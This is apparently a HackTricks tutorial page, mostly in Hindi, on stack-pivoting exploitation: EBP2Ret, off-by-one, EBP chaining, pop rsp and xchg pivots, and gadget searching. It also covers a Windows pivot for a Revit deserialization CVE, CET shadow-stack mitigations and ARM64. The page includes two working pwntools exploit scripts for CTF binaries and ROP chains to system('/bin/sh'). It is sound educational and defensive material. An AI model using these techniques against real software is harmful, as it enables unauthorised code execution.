Stack Pivoting
Tip
AWS हैकिंग सीखें और अभ्यास करें:
HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें:HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें और HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में PRs सबमिट करें।
बुनियादी जानकारी
यह तकनीक Base Pointer (EBP/RBP) को नियंत्रित करने की क्षमता का लाभ उठाती है ताकि frame pointer और leave; ret निर्देश अनुक्रम के सावधानीपूर्वक उपयोग के माध्यम से कई functions के execution को chain किया जा सके।
याद दिलाने के लिए, x86/x86-64 पर leave इसके बराबर है:
mov rsp, rbp ; mov esp, ebp on x86
pop rbp ; pop ebp on x86
और चूँकि सेव किया हुआ EBP/RBP सेव EIP/RIP से पहले stack में होता है, इसे stack को नियंत्रित करके नियंत्रित किया जा सकता है।
नोट्स
- 64-bit पर, EBP→RBP और ESP→RSP से बदलें। अर्थ समान हैं।
- कुछ compilers frame pointer को omit करते हैं (देखें “EBP might not be used”)। उस स्थिति में,
leaveमौजूद नहीं होगा और यह technique काम नहीं करेगी।
EBP2Ret
यह technique विशेष रूप से उपयोगी है जब आप saved EBP/RBP को बदल सकते हैं परंतु EIP/RIP को सीधे बदलने का कोई तरीका नहीं है। यह function epilogue के व्यवहार का लाभ उठाती है।
यदि fvuln के execution के दौरान आप stack में एक fake EBP inject करने में सफल होते हैं जो उस memory क्षेत्र को point करता है जहाँ आपका shellcode/ROP chain address रखा है (और pop के कारण amd64 पर अतिरिक्त 8 bytes / x86 पर 4 bytes), तो आप परोक्ष रूप से RIP को नियंत्रित कर सकते हैं। जब function return करता है, leave RSP को उस बनाई हुई location पर सेट करता है और उसके बाद का pop rbp RSP को घटाता है, जिससे यह प्रभावी रूप से उस address की ओर इशारा करता है जिसे attacker ने वहाँ रखा है। फिर ret उस address का उपयोग करेगा।
ध्यान दें कि आपको 2 addresses जानने की जरूरत है: वह address जहाँ ESP/RSP जायेगा, और उस address पर संग्रहीत value जिसे ret consume करेगा।
Exploit Construction
सबसे पहले आपको एक ऐसा address जानना होगा जहाँ आप arbitrary data/addresses लिख सकें। RSP यहाँ इशारा करेगा और पहले ret को consume करेगा।
फिर, आपको ret द्वारा उपयोग किए जाने वाले उस address को चुनना होगा जो execution को स्थानांतरित करेगा। आप उपयोग कर सकते हैं:
- एक मान्य ONE_GADGET address।
system()का address जिसके बाद उपयुक्त return और arguments (on x86:rettarget =&system, फिर 4 junk bytes, फिर&"/bin/sh")।- एक
jmp esp;gadget का address (ret2esp) जिसके बाद inline shellcode रखा गया हो। - writable memory में staged एक ROP chain।
याद रखें कि controlled क्षेत्र में इन किसी भी addresses से पहले leave के pop ebp/rbp के लिए space होना चाहिए (amd64 पर 8B, x86 पर 4B)। आप इन bytes का दुरुपयोग करके एक दूसरा fake EBP सेट कर सकते हैं और पहले कॉल के return के बाद नियंत्रण बनाए रख सकते हैं।
Off-By-One Exploit
एक वैरिएंट तब इस्तेमाल होता है जब आप केवल saved EBP/RBP के least significant byte को ही modify कर सकते हैं। ऐसे मामले में, उस memory location में जो address ret से jump करने के लिए रखा गया है, उसे original EBP/RBP के साथ पहले तीन/पांच bytes साझा करने चाहिए ताकि 1-byte overwrite से उसे redirect किया जा सके। आमतौर पर low byte (offset 0x00) को बढ़ाया जाता है ताकि नज़दीकी page/aligned region के भीतर जितना संभव हो उतना दूर कूदे।
साथ ही stack में RET sled का उपयोग करना और वास्तविक ROP chain को अंत में रखना आम है ताकि यह अधिक संभावित हो कि नया RSP sled के भीतर इशारा करे और अंतिम ROP chain execute हो।
EBP Chaining
stack के saved EBP slot में एक controlled address रखकर और EIP/RIP में एक leave; ret gadget रखकर, यह संभव है कि ESP/RSP को attacker-controlled address पर ले जाया जाए।
अब RSP नियंत्रित है और अगला instruction ret है। controlled memory में निम्नलिखित जैसा कुछ रखें:
&(next fake EBP)->leaveकेpop ebp/rbpद्वारा लोड होता है।&system()->retद्वारा कॉल किया जाता है।&(leave;ret)->systemसमाप्त होने के बाद, RSP को अगले fake EBP पर ले जाता है और जारी रखता है।&("/bin/sh")->systemके लिए argument।
इस तरह कई fake EBP चेन करके program के flow को नियंत्रित करना संभव है।
यह एक ret2lib जैसा है, पर अधिक जटिल और केवल edge-cases में उपयोगी।
इसके अलावा, यहाँ एक example of a challenge है जो इस technique का उपयोग एक stack leak के साथ करके एक winning function को कॉल करता है। यह पेज का अंतिम payload है:
from pwn import *
elf = context.binary = ELF('./vuln')
p = process()
p.recvuntil('to: ')
buffer = int(p.recvline(), 16)
log.success(f'Buffer: {hex(buffer)}')
LEAVE_RET = 0x40117c
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229
payload = flat(
0x0, # rbp (could be the address of another fake RBP)
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0,
elf.sym['winner']
)
payload = payload.ljust(96, b'A') # pad to 96 (reach saved RBP)
payload += flat(
buffer, # Load leaked address in RBP
LEAVE_RET # Use leave to move RSP to the user ROP chain and ret to execute it
)
pause()
p.sendline(payload)
print(p.recvline())
amd64 alignment tip: System V ABI call sites पर 16-बाइट stack alignment की आवश्यकता होती है। अगर आपकी chain
systemजैसी functions कॉल करती है, तो कॉल से पहले alignment gadget (उदा.,ret, याsub rsp, 8 ; ret) जोड़ें ताकि alignment बना रहे औरmovapscrashes से बचें।
EBP का उपयोग नहीं किया जा सकता
जैसा कि explained in this post, अगर कोई binary कुछ optimizations के साथ या frame-pointer omission के साथ compiled है, तो EBP/RBP never controls ESP/RSP। इसलिए, कोई भी exploit जो EBP/RBP को नियंत्रित करके काम करता है विफल हो जाएगा क्योंकि prologue/epilogue frame pointer से restore नहीं करते।
- अनऑप्टिमाइज़्ड / frame pointer का उपयोग किया गया:
push %ebp # save ebp
mov %esp,%ebp # set new ebp
sub $0x100,%esp # increase stack size
.
.
.
leave # restore ebp (leave == mov %ebp, %esp; pop %ebp)
ret # return
- अनुकूलित / फ्रेम पॉइंटर हटाया गया:
push %ebx # save callee-saved register
sub $0x100,%esp # increase stack size
.
.
.
add $0x10c,%esp # reduce stack size
pop %ebx # restore
ret # return
amd64 पर आप अक्सर pop rbp ; ret को leave ; ret के बजाय देखेंगे, लेकिन अगर frame pointer पूरी तरह से हटाया गया है तो pivot करने के लिए कोई rbp-आधारित epilogue मौजूद नहीं होगा।
RSP को नियंत्रित करने के अन्य तरीके
pop rsp gadget
In this page आप इस तकनीक का उपयोग करते हुए एक उदाहरण पा सकते हैं। उस challenge में एक function को 2 specific arguments के साथ कॉल करना आवश्यक था, और वहाँ एक pop rsp gadget था और एक leak from the stack मौजूद था:
# Code from https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp
# This version has added comments
from pwn import *
elf = context.binary = ELF('./vuln')
p = process()
p.recvuntil('to: ')
buffer = int(p.recvline(), 16) # Leak from the stack indicating where is the input of the user
log.success(f'Buffer: {hex(buffer)}')
POP_CHAIN = 0x401225 # pop all of: RSP, R13, R14, R15, ret
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229 # pop RSI and R15
# The payload starts
payload = flat(
0, # r13
0, # r14
0, # r15
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0, # r15
elf.sym['winner']
)
payload = payload.ljust(104, b'A') # pad to 104
# Start popping RSP, this moves the stack to the leaked address and
# continues the ROP chain in the prepared payload
payload += flat(
POP_CHAIN,
buffer # rsp
)
pause()
p.sendline(payload)
print(p.recvline())
xchg , rsp gadget
pop <reg> <=== return pointer
<reg value>
xchg <reg>, rsp
jmp esp
ret2esp तकनीक के लिए यहाँ देखें:
pivot gadgets को जल्दी ढूँढना
अपने पसंदीदा gadget finder का उपयोग करके classic pivot primitives के लिए खोजें:
leave ; reton functions or in librariespop rsp/xchg rax, rsp ; retadd rsp, <imm> ; ret(oradd esp, <imm> ; reton x86)
उदाहरण:
# Ropper
ropper --file ./vuln --search "leave; ret"
ropper --file ./vuln --search "pop rsp"
ropper --file ./vuln --search "xchg rax, rsp ; ret"
# ROPgadget
ROPgadget --binary ./vuln --only "leave|xchg|pop rsp|add rsp"
Classic pivot staging pattern
एक मजबूत pivot रणनीति जो कई CTFs/exploits में इस्तेमाल होती है:
- एक छोटा initial overflow उपयोग करके
read/recvको एक बड़े writable region (उदा.,.bss, heap, या mapped RW memory) में कॉल करें और वहाँ पूरा ROP chain रखें। - RSP को उस region में ले जाने के लिए एक pivot gadget (
leave ; ret,pop rsp,xchg rax, rsp ; ret) पर return करें। - staged chain के साथ आगे बढ़ें (उदा., leak libc,
mprotectकॉल करें, फिरreadshellcode, और फिर उस पर jump करें)।
Windows: Destructor-loop weird-machine pivots (Revit RFA case study)
Client-side parsers कभी-कभी destructor loops लागू करते हैं जो attacker-controlled object fields से निकले हुए function pointer को indirectly call करते हैं। यदि हर iteration ठीक एक indirect call (एक “one-gadget” machine) ऑफर करता है, तो आप इसे एक reliable stack pivot और ROP entry में बदल सकते हैं।
Observed in Autodesk Revit RFA deserialization (CVE-2025-5037):
- Crafted objects of type
AStringoffset 0 पर attacker bytes के लिए एक pointer रखते हैं। - The destructor loop प्रभावी रूप से प्रत्येक object पर एक gadget execute करता है:
rcx = [rbx] ; object pointer (AString*)
rax = [rcx] ; pointer to controlled buffer
call qword ptr [rax] ; execute [rax] once per object
Two practical pivots:
- Windows 10 (32-bit heap addrs): misaligned “monster gadget” that contains
8B E0→mov esp, eax, eventuallyret, to pivot from the call primitive to a heap-based ROP chain. - Windows 11 (full 64-bit addrs): use two objects to drive a constrained weird-machine pivot:
- Gadget 1:
push rax ; pop rbp ; ret(move original rax into rbp) - Gadget 2:
leave ; ... ; ret(becomesmov rsp, rbp ; pop rbp ; ret), pivoting into the first object’s buffer, where a conventional ROP chain follows.
Windows x64 के लिए pivot के बाद टिप्स:
- Respect the 0x20-byte shadow space and maintain 16-byte alignment before
callsites. It’s often convenient to place literals above the return address and use a gadget likelea rcx, [rsp+0x20] ; call raxfollowed bypop rax ; retto pass stack addresses without corrupting control flow. - Non-ASLR helper modules (if present) provide stable gadget pools and imports such as
LoadLibraryW/GetProcAddressto dynamically resolve targets likeucrtbase!system. - Creating missing gadgets via a writable thunk: if a promising sequence ends in a
callthrough a writable function pointer (e.g., DLL import thunk or function pointer in .data), overwrite that pointer with a benign single-step likepop rax ; ret. The sequence then behaves like it ended withret(e.g.,mov rdx, rsi ; mov rcx, rdi ; ret), which is invaluable to load Windows x64 arg registers without clobbering others.
पूर्ण चेन निर्माण और gadget उदाहरणों के लिए, नीचे दिए गए संदर्भ को देखें।
Modern mitigations that break stack pivoting (CET/Shadow Stack)
Modern x86 CPUs and OSes increasingly deploy CET Shadow Stack (SHSTK). With SHSTK enabled, ret compares the return address on the normal stack with a hardware-protected shadow stack; any mismatch raises a Control-Protection fault and kills the process. Therefore, techniques like EBP2Ret/leave;ret-based pivots will crash as soon as the first ret is executed from a pivoted stack.
- For background and deeper details see:
- Quick checks on Linux:
# 1) Is the binary/toolchain CET-marked?
readelf -n ./binary | grep -E 'x86.*(SHSTK|IBT)'
# 2) Is the CPU/kernel capable?
grep -E 'user_shstk|ibt' /proc/cpuinfo
# 3) Is SHSTK active for this process?
grep -E 'x86_Thread_features' /proc/$$/status # expect: shstk (and possibly wrss)
# 4) In pwndbg (gdb), checksec shows SHSTK/IBT flags
(gdb) checksec
-
Notes for labs/CTF:
-
Some modern distros enable SHSTK for CET-enabled binaries when hardware and glibc support is present. For controlled testing in VMs, SHSTK can be disabled system-wide via the kernel boot parameter
nousershstk, or selectively enabled via glibc tunables during startup (see references). Don’t disable mitigations on production targets. -
JOP/COOP or SROP-based techniques might still be viable on some targets, but SHSTK specifically breaks
ret-based pivots. -
Windows note: Windows 10+ exposes user-mode and Windows 11 adds kernel-mode “Hardware-enforced Stack Protection” built on shadow stacks. CET-compatible processes prevent stack pivoting/ROP at
ret; developers opt-in via CETCOMPAT and related policies (see reference).
ARM64
ARM64 में, फ़ंक्शन के prologue और epilogue स्टैक में SP रजिस्टर को स्टोर और रिट्रीव नहीं करते। इसके अलावा, RET निर्देश SP द्वारा पॉइंट किए गए पते पर रिटर्न नहीं करता, बल्कि x30 के अंदर रखे पते पर रिटर्न करता है।
इसलिए, डिफ़ॉल्ट रूप से केवल epilogue का दुरुपयोग करके आप स्टैक के कुछ डेटा को ओवरराइट कर के SP रजिस्टर को नियंत्रित नहीं कर पाएंगे। और भले ही आप SP को नियंत्रित कर लें, तब भी आपको x30 रजिस्टर को नियंत्रित करने का कोई तरीका चाहिए होगा।
- prologue
sub sp, sp, 16
stp x29, x30, [sp] // [sp] = x29; [sp + 8] = x30
mov x29, sp // FP points to frame record
- epilogue
ldp x29, x30, [sp] // x29 = [sp]; x30 = [sp + 8]
add sp, sp, 16
ret
Caution
ARM64 में stack pivoting जैसा कुछ करने का तरीका यह होगा कि आप पहले
SPको नियंत्रित कर सकें (या तो किसी ऐसे रजिस्टर को नियंत्र करके जिसका मानSPको पास किया जाता है, या किसी वजह सेSPस्टैक से अपना पता ले रहा हो और हमारे पास एक overflow हो) और फिर epilogue का दुरुपयोग करके नियंत्रितSPसेx30रजिस्टर लोड करें और उस परRETकरें।
Also in the following page you can see the equivalent of Ret2esp in ARM64:
संदर्भ
- https://bananamafia.dev/post/binary-rop-stackpivot/
- https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting
- https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html
- 64 bits, off by one exploitation with a rop chain starting with a ret sled
- https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html
- 64 bit, no relro, canary, nx and pie. प्रोग्राम स्टैक या pie के लिए एक leak और एक WWW of a qword प्रदान करता है। पहले स्टैक leak प्राप्त करें और WWW का उपयोग करके pie leak वापस प्राप्त करें। फिर WWW का उपयोग करके
.fini_arrayएंट्रीज़ का दुरुपयोग करते हुए और__libc_csu_finiको कॉल करके एक eternal loop बनाएं (more info here). इस “eternal” write का दुरुपयोग करके, .bss में एक ROP chain लिखा जाता है और अंत में RBP के साथ pivot करके उसे कॉल किया जाता है। - Linux kernel documentation: Control-flow Enforcement Technology (CET) Shadow Stack — SHSTK,
nousershstk,/proc/$PID/statusflags, औरarch_prctlके माध्यम से सक्षम करने के विवरण। https://www.kernel.org/doc/html/next/x86/shstk.html - Microsoft Learn: Kernel Mode Hardware-enforced Stack Protection (CET shadow stacks on Windows). https://learn.microsoft.com/en-us/windows-server/security/kernel-mode-hardware-stack-protection
- Crafting a Full Exploit RCE from a Crash in Autodesk Revit RFA File Parsing (ZDI blog)
Tip
AWS हैकिंग सीखें और अभ्यास करें:
HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें:HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें और HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में PRs सबमिट करें।


